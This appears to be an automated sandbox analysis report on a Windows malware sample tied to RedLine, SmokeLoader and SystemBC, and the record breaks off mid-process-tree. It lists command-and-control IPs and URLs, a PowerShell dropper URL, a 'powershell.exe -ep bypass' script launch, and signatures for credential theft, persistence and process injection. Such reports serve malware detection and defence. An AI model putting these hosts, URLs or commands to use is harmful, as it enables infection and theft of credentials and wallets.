redline | 998fc169ffc3a0733acc834d4634a5fede414e9fecd85bfbbb2ec80ce48810fa

Analysis

max time kernel
151s
max time network
149s
platform
windows10_x64
resource
win10-en-20211208
submitted
09-12-2021 12:46

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

1dbcfa3bb1af2d00f54a7640d7c762e2.exe
Size

182KB
MD5

1dbcfa3bb1af2d00f54a7640d7c762e2
SHA1

30d5a37bc22c3605ab5d480b29c928618aa9b25e
SHA256

998fc169ffc3a0733acc834d4634a5fede414e9fecd85bfbbb2ec80ce48810fa
SHA512

d0e2cda58b8b7b1c334691403e3081c907c03a915e6d075820fcf12f24caffcda691ef4b77ef4cb173d0c6a6c2786ccdcbf02f575265d0cfa7b7f9a104431a27

Score

10^/10

redline smokeloader systembc backdoor discovery infostealer persistence spyware stealer trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

smokeloader

Version

2020

http://rcacademy.at/upload/

http://e-lanpengeonline.com/upload/

http://vjcmvz.cn/upload/

http://galala.ru/upload/

http://witra.ru/upload/

rc4.i32

Extracted

Family

redline

195.133.47.114:38627

Extracted

Family

systembc

185.209.30.180:4001

Signatures

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 5 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\F4FC.exe	family_redline
C:\Users\Admin\AppData\Local\Temp\F4FC.exe	family_redline
behavioral2/memory/3288-138-0x0000000000A80000-0x0000000000AEC000-memory.dmp	family_redline
behavioral2/memory/1788-266-0x0000000000418FD2-mapping.dmp	family_redline
behavioral2/memory/1788-280-0x0000000004DC0000-0x00000000053C6000-memory.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
SystemBC
SystemBC is a proxy and remote administration tool first seen in 2019.
trojan systembc
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 9 IoCs

Processes:

powershell.exe

flow	pid	process
93	2852	powershell.exe
95	2852	powershell.exe
96	2852	powershell.exe
97	2852	powershell.exe
99	2852	powershell.exe
101	2852	powershell.exe
103	2852	powershell.exe
105	2852	powershell.exe
107	2852	powershell.exe

Downloads MZ/PE file
Executes dropped EXE 8 IoCs

Processes:

E858.exeF4FC.exe1BAF.exe36C9.exe36C9.exe6889.exe8A6A.exe8A6A.exe

pid process

2948 E858.exe
3184 F4FC.exe
3288 1BAF.exe
3692 36C9.exe
2004 36C9.exe
2956 6889.exe
748 8A6A.exe
1788 8A6A.exe
Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

pid	process
2948	E858.exe
3184	F4FC.exe
3288	1BAF.exe
3692	36C9.exe
2004	36C9.exe
2956	6889.exe
748	8A6A.exe
1788	8A6A.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
\Windows\Branding\mediasrv.png	upx
\Windows\Branding\mediasvc.png	upx

Deletes itself 1 IoCs

Processes:

pid process

2968
Loads dropped DLL 2 IoCs

Processes:

pid process

2436
2436
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

1BAF.exe

pid process

3288 1BAF.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

8A6A.exe

description pid process target process

PID 748 set thread context of 1788 748 8A6A.exe 8A6A.exe

pid	process
2968

pid	process
2436
2436

pid	process
3288	1BAF.exe

description	pid	process	target process
PID 748 set thread context of 1788	748	8A6A.exe	8A6A.exe

Drops file in Program Files directory 4 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe

Drops file in Windows directory 21 IoCs

Processes:

powershell.exe36C9.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGID6E1.tmp	powershell.exe
File opened for modification	C:\Windows\Tasks\wow64.job	36C9.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGID6C1.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGID711.tmp	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_1umpwzcr.lqn.psm1	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGID652.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGID721.tmp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_5xa3wtgf.la0.ps1	powershell.exe
File created	C:\Windows\Tasks\wow64.job	36C9.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

1dbcfa3bb1af2d00f54a7640d7c762e2.exe

description	ioc	process
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	1dbcfa3bb1af2d00f54a7640d7c762e2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	1dbcfa3bb1af2d00f54a7640d7c762e2.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	1dbcfa3bb1af2d00f54a7640d7c762e2.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exeWMIC.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1200 = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\1400 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\DisplayName = "Trusted sites"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\ftp = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\PMDisplayName = "Internet [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\e1be3f182420a0a0 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c000000	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map\e1be3f182420a0a0 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones,"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\PMDisplayName = "Trusted sites [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Icon = "inetcpl.cpl#00004481"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\PMDisplayName = "Restricted sites [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\1200 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent = "Mozilla/4.0 (compatible; MSIE 8.0; Win32)"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\@ivt = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\CurrentLevel = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Description = "This zone contains Web sites that you trust not to damage your computer or data."	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\1200 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyByPass = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map\57fd7ae31ab34c2c = ",33,HKCU,SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\5.0\\Cache\\Extensible Cache,"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\DisplayName = "My Computer"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Description = "Your computer"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Description = "Your computer"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Icon = "shell32.dll#0018"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\file = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Flags = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1200 = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\DisplayName = "Restricted sites"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\PMDisplayName = "Computer [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\LowIcon = "inetcpl.cpl#005425"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Description = "This zone contains Web sites that could potentially damage your computer or data."	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1400 = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\PMDisplayName = "Local intranet [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\CurrentLevel = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

3148 reg.exe
Runs net.exe

pid	process
3148	reg.exe

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	95	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	96	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	97	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	99	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

1dbcfa3bb1af2d00f54a7640d7c762e2.exe

pid	process
3048	1dbcfa3bb1af2d00f54a7640d7c762e2.exe
3048	1dbcfa3bb1af2d00f54a7640d7c762e2.exe
2968
2968
2968
2968
2968
2968
2968
2968
2968
2968
2968
2968
2968
2968
2968
2968
2968
2968
2968
2968
2968
2968
2968
2968
2968
2968
2968
2968
2968
2968
2968
2968
2968
2968
2968
2968
2968
2968
2968
2968
2968
2968
2968
2968
2968
2968
2968
2968
2968
2968
2968
2968
2968
2968
2968
2968
2968
2968
2968
2968
2968
2968

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid process

2968
Suspicious behavior: LoadsDriver 2 IoCs

Processes:

pid process

624
624
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

1dbcfa3bb1af2d00f54a7640d7c762e2.exe

pid process

3048 1dbcfa3bb1af2d00f54a7640d7c762e2.exe

pid	process
2968

pid	process
624
624

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

F4FC.exe1BAF.exepowershell.exe8A6A.exepowershell.exepowershell.exe

description	pid	process
Token: SeShutdownPrivilege	2968
Token: SeCreatePagefilePrivilege	2968
Token: SeShutdownPrivilege	2968
Token: SeCreatePagefilePrivilege	2968
Token: SeShutdownPrivilege	2968
Token: SeCreatePagefilePrivilege	2968
Token: SeDebugPrivilege	3184	F4FC.exe
Token: SeShutdownPrivilege	2968
Token: SeCreatePagefilePrivilege	2968
Token: SeShutdownPrivilege	2968
Token: SeCreatePagefilePrivilege	2968
Token: SeShutdownPrivilege	2968
Token: SeCreatePagefilePrivilege	2968
Token: SeShutdownPrivilege	2968
Token: SeCreatePagefilePrivilege	2968
Token: SeShutdownPrivilege	2968
Token: SeCreatePagefilePrivilege	2968
Token: SeDebugPrivilege	3288	1BAF.exe
Token: SeShutdownPrivilege	2968
Token: SeCreatePagefilePrivilege	2968
Token: SeShutdownPrivilege	2968
Token: SeCreatePagefilePrivilege	2968
Token: SeShutdownPrivilege	2968
Token: SeCreatePagefilePrivilege	2968
Token: SeDebugPrivilege	1368	powershell.exe
Token: SeDebugPrivilege	748	8A6A.exe
Token: SeDebugPrivilege	1236	powershell.exe
Token: SeIncreaseQuotaPrivilege	1236	powershell.exe
Token: SeSecurityPrivilege	1236	powershell.exe
Token: SeTakeOwnershipPrivilege	1236	powershell.exe
Token: SeLoadDriverPrivilege	1236	powershell.exe
Token: SeSystemProfilePrivilege	1236	powershell.exe
Token: SeSystemtimePrivilege	1236	powershell.exe
Token: SeProfSingleProcessPrivilege	1236	powershell.exe
Token: SeIncBasePriorityPrivilege	1236	powershell.exe
Token: SeCreatePagefilePrivilege	1236	powershell.exe
Token: SeBackupPrivilege	1236	powershell.exe
Token: SeRestorePrivilege	1236	powershell.exe
Token: SeShutdownPrivilege	1236	powershell.exe
Token: SeDebugPrivilege	1236	powershell.exe
Token: SeSystemEnvironmentPrivilege	1236	powershell.exe
Token: SeRemoteShutdownPrivilege	1236	powershell.exe
Token: SeUndockPrivilege	1236	powershell.exe
Token: SeManageVolumePrivilege	1236	powershell.exe
Token: 33	1236	powershell.exe
Token: 34	1236	powershell.exe
Token: 35	1236	powershell.exe
Token: 36	1236	powershell.exe
Token: SeDebugPrivilege	2912	powershell.exe
Token: SeIncreaseQuotaPrivilege	2912	powershell.exe
Token: SeSecurityPrivilege	2912	powershell.exe
Token: SeTakeOwnershipPrivilege	2912	powershell.exe
Token: SeLoadDriverPrivilege	2912	powershell.exe
Token: SeSystemProfilePrivilege	2912	powershell.exe
Token: SeSystemtimePrivilege	2912	powershell.exe
Token: SeProfSingleProcessPrivilege	2912	powershell.exe
Token: SeIncBasePriorityPrivilege	2912	powershell.exe
Token: SeCreatePagefilePrivilege	2912	powershell.exe
Token: SeBackupPrivilege	2912	powershell.exe
Token: SeRestorePrivilege	2912	powershell.exe
Token: SeShutdownPrivilege	2912	powershell.exe
Token: SeDebugPrivilege	2912	powershell.exe
Token: SeSystemEnvironmentPrivilege	2912	powershell.exe
Token: SeRemoteShutdownPrivilege	2912	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

pid process

2968
2968
Suspicious use of SendNotifyMessage 7 IoCs

Processes:

pid process

2968
2968
2968
2968
2968
2968
2968

pid	process
2968
2968

pid	process
2968
2968
2968
2968
2968
2968
2968

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

6889.exepowershell.execsc.execsc.exe8A6A.exenet.execmd.execmd.exenet.execmd.execmd.exe

description	pid	process	target process
PID 2968 wrote to memory of 2948	2968		E858.exe
PID 2968 wrote to memory of 2948	2968		E858.exe
PID 2968 wrote to memory of 2948	2968		E858.exe
PID 2968 wrote to memory of 3184	2968		F4FC.exe
PID 2968 wrote to memory of 3184	2968		F4FC.exe
PID 2968 wrote to memory of 3184	2968		F4FC.exe
PID 2968 wrote to memory of 3288	2968		1BAF.exe
PID 2968 wrote to memory of 3288	2968		1BAF.exe
PID 2968 wrote to memory of 3288	2968		1BAF.exe
PID 2968 wrote to memory of 3692	2968		36C9.exe
PID 2968 wrote to memory of 3692	2968		36C9.exe
PID 2968 wrote to memory of 3692	2968		36C9.exe
PID 2968 wrote to memory of 2956	2968		6889.exe
PID 2968 wrote to memory of 2956	2968		6889.exe
PID 2956 wrote to memory of 1368	2956	6889.exe	powershell.exe
PID 2956 wrote to memory of 1368	2956	6889.exe	powershell.exe
PID 1368 wrote to memory of 3804	1368	powershell.exe	csc.exe
PID 1368 wrote to memory of 3804	1368	powershell.exe	csc.exe
PID 3804 wrote to memory of 3736	3804	csc.exe	cvtres.exe
PID 3804 wrote to memory of 3736	3804	csc.exe	cvtres.exe
PID 1368 wrote to memory of 3048	1368	powershell.exe	csc.exe
PID 1368 wrote to memory of 3048	1368	powershell.exe	csc.exe
PID 3048 wrote to memory of 1184	3048	csc.exe	cvtres.exe
PID 3048 wrote to memory of 1184	3048	csc.exe	cvtres.exe
PID 2968 wrote to memory of 748	2968		8A6A.exe
PID 2968 wrote to memory of 748	2968		8A6A.exe
PID 2968 wrote to memory of 748	2968		8A6A.exe
PID 748 wrote to memory of 1788	748	8A6A.exe	8A6A.exe
PID 748 wrote to memory of 1788	748	8A6A.exe	8A6A.exe
PID 748 wrote to memory of 1788	748	8A6A.exe	8A6A.exe
PID 1368 wrote to memory of 1236	1368	powershell.exe	powershell.exe
PID 1368 wrote to memory of 1236	1368	powershell.exe	powershell.exe
PID 748 wrote to memory of 1788	748	8A6A.exe	8A6A.exe
PID 748 wrote to memory of 1788	748	8A6A.exe	8A6A.exe
PID 748 wrote to memory of 1788	748	8A6A.exe	8A6A.exe
PID 748 wrote to memory of 1788	748	8A6A.exe	8A6A.exe
PID 748 wrote to memory of 1788	748	8A6A.exe	8A6A.exe
PID 1368 wrote to memory of 2912	1368	powershell.exe	powershell.exe
PID 1368 wrote to memory of 2912	1368	powershell.exe	powershell.exe
PID 1368 wrote to memory of 952	1368	powershell.exe	powershell.exe
PID 1368 wrote to memory of 952	1368	powershell.exe	powershell.exe
PID 1368 wrote to memory of 3112	1368	powershell.exe	reg.exe
PID 1368 wrote to memory of 3112	1368	powershell.exe	reg.exe
PID 1368 wrote to memory of 3148	1368	powershell.exe	reg.exe
PID 1368 wrote to memory of 3148	1368	powershell.exe	reg.exe
PID 1368 wrote to memory of 696	1368	powershell.exe	reg.exe
PID 1368 wrote to memory of 696	1368	powershell.exe	reg.exe
PID 1368 wrote to memory of 2560	1368	powershell.exe	net.exe
PID 1368 wrote to memory of 2560	1368	powershell.exe	net.exe
PID 2560 wrote to memory of 3904	2560	net.exe	net1.exe
PID 2560 wrote to memory of 3904	2560	net.exe	net1.exe
PID 1368 wrote to memory of 3660	1368	powershell.exe	cmd.exe
PID 1368 wrote to memory of 3660	1368	powershell.exe	cmd.exe
PID 3660 wrote to memory of 3596	3660	cmd.exe	cmd.exe
PID 3660 wrote to memory of 3596	3660	cmd.exe	cmd.exe
PID 3596 wrote to memory of 2860	3596	cmd.exe	net.exe
PID 3596 wrote to memory of 2860	3596	cmd.exe	net.exe
PID 2860 wrote to memory of 1800	2860	net.exe	net1.exe
PID 2860 wrote to memory of 1800	2860	net.exe	net1.exe
PID 1368 wrote to memory of 3796	1368	powershell.exe	cmd.exe
PID 1368 wrote to memory of 3796	1368	powershell.exe	cmd.exe
PID 3796 wrote to memory of 1140	3796	cmd.exe	cmd.exe
PID 3796 wrote to memory of 1140	3796	cmd.exe	cmd.exe
PID 1140 wrote to memory of 748	1140	cmd.exe	net.exe

C:\Users\Admin\AppData\Local\Temp\1dbcfa3bb1af2d00f54a7640d7c762e2.exe
"C:\Users\Admin\AppData\Local\Temp\1dbcfa3bb1af2d00f54a7640d7c762e2.exe"
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:3048

C:\Users\Admin\AppData\Local\Temp\E858.exe
C:\Users\Admin\AppData\Local\Temp\E858.exe
1⤵
- Executes dropped EXE
PID:2948

C:\Users\Admin\AppData\Local\Temp\F4FC.exe
C:\Users\Admin\AppData\Local\Temp\F4FC.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3184

C:\Users\Admin\AppData\Local\Temp\1BAF.exe
C:\Users\Admin\AppData\Local\Temp\1BAF.exe
1⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:3288

C:\Users\Admin\AppData\Local\Temp\36C9.exe
C:\Users\Admin\AppData\Local\Temp\36C9.exe
1⤵
- Executes dropped EXE
- Drops file in Windows directory
PID:3692

C:\Users\Admin\AppData\Local\Temp\36C9.exe
C:\Users\Admin\AppData\Local\Temp\36C9.exe start
1⤵
- Executes dropped EXE
PID:2004

C:\Users\Admin\AppData\Local\Temp\6889.exe
C:\Users\Admin\AppData\Local\Temp\6889.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2956
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in Windows directory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1368
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\etkxvntp\etkxvntp.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3804
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8321.tmp" "c:\Users\Admin\AppData\Local\Temp\etkxvntp\CSC8B20612BE53948B087E8B12028D0E968.TMP"
      4⤵
      PID:3736
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ihfg0otb\ihfg0otb.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3048
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
